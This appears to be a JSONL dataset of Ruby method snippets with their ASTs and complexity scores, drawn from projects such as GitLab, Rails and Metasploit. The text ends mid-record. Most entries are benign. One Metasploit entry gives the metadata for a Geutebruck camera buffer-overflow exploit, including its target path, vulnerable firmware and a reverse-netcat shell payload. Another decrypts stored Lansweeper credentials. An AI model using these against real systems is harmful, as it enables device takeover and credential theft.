{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/extractors/meta_refresh.rb","start_line":17,"raw_source":"def unquote( str )\n    [ '\\'', '\"' ].each do |q|\n      return str[1...-1] if str.start_with?( q ) && str.end_with?( q )\n    end\n    str\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"unquote\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"q\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"start_with?\",{\"type\":\"lvar\",\"children\":[\"q\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"end_with?\",{\"type\":\"lvar\",\"children\":[\"q\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}","id":"4bcd6bf8-215f-4ca2-8963-0a64da57cf67"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/wiki_pages/front_matter_parser.rb","start_line":70,"raw_source":"def no_match?\n          :no_match if text.nil?\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"no_match?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"text\"]},\"nil?\"]},{\"type\":\"sym\",\"children\":[\"no_match\"]},null]}]}","id":"f107b9da-35d5-4b37-92e7-e1cf9d225e37"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/lansweeper_collector.rb","start_line":102,"raw_source":"def lsw_decrypt(data)\n    data = Rex::Text.decode_base64(data)\n\n    first = data[0]\n    pass = data[1, 8]\n    actual_data = data[9, data.length - 9]\n\n    decrypted = xtea_decrypt(actual_data, pass + lsw_generate_pass)\n\n    if first == '1'\n      decrypted = decrypted[0, decrypted.length - 2]\n    end\n\n    Rex::Text.to_ascii(decrypted, 'utf-16le')\n  end","complexity_score":24.83,"ast_json":"{\"type\":\"def\",\"children\":[\"lsw_decrypt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"decode_base64\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"first\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"int\",\"children\":[9]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[9]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"decrypted\",{\"type\":\"send\",\"children\":[null,\"xtea_decrypt\",{\"type\":\"lvar\",\"children\":[\"actual_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"lsw_generate_pass\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first\"]},\"==\",{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"decrypted\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decrypted\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decrypted\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_ascii\",{\"type\":\"lvar\",\"children\":[\"decrypted\"]},{\"type\":\"str\",\"children\":[\"utf-16le\"]}]}]}]}","id":"2569154b-1f78-445a-8cb5-dd09f7e4bbd4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20241129135625_add_fk_for_projects_branch_rules_squash_options_protected_branch.rb","start_line":15,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :projects_branch_rules_squash_options, column: :protected_branch_id, if_exists: true\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"projects_branch_rules_squash_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"protected_branch_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"56db219f-338e-44ad-86ba-0b8a03f950b6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/milestones_controller.rb","start_line":55,"raw_source":"def show\n    respond_to do |format|\n      format.html\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]}]}]}","id":"f7c84f07-3c48-4dad-b49a-bf7ab33aaa80"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_null_io.rb","start_line":145,"raw_source":"def test_flush_returns_self\n    assert_equal nio, nio.flush\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_flush_returns_self\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"nio\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nio\"]},\"flush\"]}]}]}","id":"2a37a6d7-5a30-4aab-8a4d-f902c40240ce"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/definition/parser/custom_method.rb","start_line":56,"raw_source":"def method_key(name, args)\n          \"#{name.to_s}(#{args_string(args)})\"\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"method_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args_string\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}","id":"4a22d1d7-5da2-4f25-acf8-5d154db475dc"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-policy/lib/policy_mailer.rb","start_line":4,"raw_source":"def self.send_email(user, post)\n    Jobs.enqueue(:user_email, type: \"policy_email\", user_id: user.id, post_id: post.id)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"user_email\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"policy_email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]}]}]}]}","id":"00e8c699-1b46-4383-9075-d6d654b1f688"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/result.rb","start_line":149,"raw_source":"def render(keys = important_fields)\n      rendered = fields.map { |k, v| yield(k, v) if keys.include? k }\n      safe_join(rendered)\n    end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"keys\",{\"type\":\"send\",\"children\":[null,\"important_fields\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rendered\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fields\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"safe_join\",{\"type\":\"lvar\",\"children\":[\"rendered\"]}]}]}]}","id":"1dc20dd6-b6b4-4c77-b552-332d2fb123a3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/database_configurations/hash_config.rb","start_line":69,"raw_source":"def _database=(database) # :nodoc:\n        @configuration_hash = configuration_hash.merge(database: database).freeze\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"_database=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"database\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@configuration_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration_hash\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"lvar\",\"children\":[\"database\"]}]}]}]},\"freeze\"]}]}]}","id":"3e0a48fb-5793-4f00-84a1-9b62e01461a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/pipeline_metrics_worker.rb","start_line":26,"raw_source":"def update_metrics_for_succeeded_pipeline(pipeline)\n    metrics(pipeline).update_all(latest_build_started_at: pipeline.started_at, latest_build_finished_at: pipeline.finished_at, pipeline_id: pipeline.id)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_metrics_for_succeeded_pipeline\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metrics\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"latest_build_started_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"started_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"latest_build_finished_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"finished_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"id\"]}]}]}]}]}","id":"73fa7ebb-eb59-405d-a13f-84f8a1c0ad24"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/internal/base_spec.rb","start_line":715,"raw_source":"def request\n                post(\n                  api(\"/internal/allowed\"),\n                  params: {\n                    user_id: user.id,\n                    project: full_path_for(project),\n                    gl_repository: gl_repository_for(project),\n                    action: 'git-upload-pack',\n                    protocol: 'ssh'\n                  },\n                  headers: gitlab_shell_internal_api_request_header\n                )\n              end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[null,\"api\",{\"type\":\"str\",\"children\":[\"/internal/allowed\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"full_path_for\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gl_repository\"]},{\"type\":\"send\",\"children\":[null,\"gl_repository_for\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"git-upload-pack\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"ssh\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"gitlab_shell_internal_api_request_header\"]}]}]}]}]}","id":"961cfb33-2d85-4795-97eb-d0c0eb869e5d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/documentation/markdown_docs_generator.rb","start_line":41,"raw_source":"def all_actions_from_enhancer\n      require 'json'\n      @_launches ||= JSON.parse(File.read(File.join(Fastlane::ROOT, \"assets/action_ranking.json\"))) # root because we're in a temporary directory here\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"all_actions_from_enhancer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"json\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_launches\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"ROOT\"]},{\"type\":\"str\",\"children\":[\"assets/action_ranking.json\"]}]}]}]}]}]}]}","id":"172185ae-b69f-4149-9794-97de497b310d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/serializer.rb","start_line":19,"raw_source":"def self.context(*named_contexts)\n    named_contexts.each do |context|\n      _named_contexts[context] = true\n    end\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"context\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"named_contexts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"named_contexts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_named_contexts\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"e124c909-f9f9-4a5b-b3a1-1dab5ab734d4"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buf_file.rb","start_line":127,"raw_source":"def stop\n        if @variable_store\n          @variable_store.delete(@buffer_path)\n        end\n\n        super\n      end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@variable_store\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@variable_store\"]},\"delete\",{\"type\":\"ivar\",\"children\":[\"@buffer_path\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"e85a2b92-b0ce-4c21-b718-a756870af42e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/ssl.rb","start_line":160,"raw_source":"def redirection_status(request)\n        if PERMANENT_REDIRECT_REQUEST_METHODS.include?(request.raw_request_method)\n          301 # Issue a permanent redirect via a GET request.\n        elsif @ssl_default_redirect_status\n          @ssl_default_redirect_status\n        else\n          307 # Issue a fresh request redirect to preserve the HTTP method.\n        end\n      end","complexity_score":4.88,"ast_json":"{\"type\":\"def\",\"children\":[\"redirection_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PERMANENT_REDIRECT_REQUEST_METHODS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"raw_request_method\"]}]},{\"type\":\"int\",\"children\":[301]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssl_default_redirect_status\"]},{\"type\":\"ivar\",\"children\":[\"@ssl_default_redirect_status\"]},{\"type\":\"int\",\"children\":[307]}]}]}]}","id":"91e36eec-b4cf-4d9f-b0c2-3ac16e6a3f41"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff.rb","start_line":982,"raw_source":"def find_base_sha\n    return unless head_commit_sha && start_commit_sha\n\n    project.merge_base_commit(head_commit_sha, start_commit_sha).try(:sha)\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_base_sha\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"head_commit_sha\"]},{\"type\":\"send\",\"children\":[null,\"start_commit_sha\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"merge_base_commit\",{\"type\":\"send\",\"children\":[null,\"head_commit_sha\"]},{\"type\":\"send\",\"children\":[null,\"start_commit_sha\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"sha\"]}]}]}]}","id":"62636a44-e36f-445e-ba1a-8a1b7701424d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/jira_connect/sync_project_worker.rb","start_line":43,"raw_source":"def branches_to_sync(project)\n      project.repository.branches_sorted_by(SORT_UPDATED_RECENT).filter_map do |branch|\n        branch if branch.name.match(Gitlab::Regex.jira_issue_key_regex)\n      end.first(MAX_RECORDS_LIMIT)\n    end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"branches_to_sync\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"repository\"]},\"branches_sorted_by\",{\"type\":\"const\",\"children\":[null,\"SORT_UPDATED_RECENT\"]}]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"name\"]},\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Regex\"]},\"jira_issue_key_regex\"]}]},{\"type\":\"lvar\",\"children\":[\"branch\"]},null]}]},\"first\",{\"type\":\"const\",\"children\":[null,\"MAX_RECORDS_LIMIT\"]}]}]}","id":"f61b9cf7-2d8d-46cb-84a7-90ba7c204d8e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/sunrpc.rb","start_line":162,"raw_source":"def progresolv(number)\n    names = File.join(Msf::Config.data_directory, \"wordlists\", \"rpc_names.txt\")\n    File.open(names, \"rb\").each_line do |line|\n      next if line.empty? || line =~ /^\\s*#/\n\n      if line =~ /^(\\S+?)\\s+(\\d+)/ && number == $2.to_i\n        return $1\n      end\n    end\n\n    return \"UNKNOWN-#{number}\"\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"progresolv\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"names\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"rpc_names.txt\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"names\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\s*#\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(\\\\S+?)\\\\s+(\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[2]},\"to_i\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UNKNOWN-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}]}]}]}","id":"651f23b6-f9e3-49d6-95b9-45a9c1f50875"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/geutebruck_instantrec_bof.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Geutebruck instantrec Remote Command Execution',\n        'Description' => %q{\n          This module exploits a buffer overflow within the 'action'\n          parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,\n          ETHC-22xx, and EWPC-22xx devices running firmware versions == 1.12.0.27 as well as firmware\n          versions 1.12.13.2 and 1.12.14.5.\n          Successful exploitation results in remote code execution as the root user.\n        },\n\n        'Author' => [\n          'Titouan Lazard - RandoriSec', # Discovery\n          'Ibrahim Ayadhi - RandoriSec' # Metasploit Module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2021-33549'],\n          ['URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],\n          ['URL', 'https://www.geutebrueck.com/index.html'],\n          ['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']\n        ],\n        'DisclosureDate' => '2021-07-08',\n        'Privileged' => true,\n        'Platform' => %w[unix linux],\n        'Arch' => [ARCH_ARMLE],\n        'Targets' => [\n          ['Automatic Target', {}]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The path to the instantrec page', '/uapi-cgi/instantrec.cgi'])\n      ]\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Geutebruck instantrec Remote Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a buffer overflow within the 'action'\\n\"]},{\"type\":\"str\",\"children\":[\"          parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,\\n\"]},{\"type\":\"str\",\"children\":[\"          ETHC-22xx, and EWPC-22xx devices running firmware versions == 1.12.0.27 as well as firmware\\n\"]},{\"type\":\"str\",\"children\":[\"          versions 1.12.13.2 and 1.12.14.5.\\n\"]},{\"type\":\"str\",\"children\":[\"          Successful exploitation results in remote code execution as the root user.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Titouan Lazard - RandoriSec\"]},{\"type\":\"str\",\"children\":[\"Ibrahim Ayadhi - RandoriSec\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2021-33549\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.geutebrueck.com/index.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]}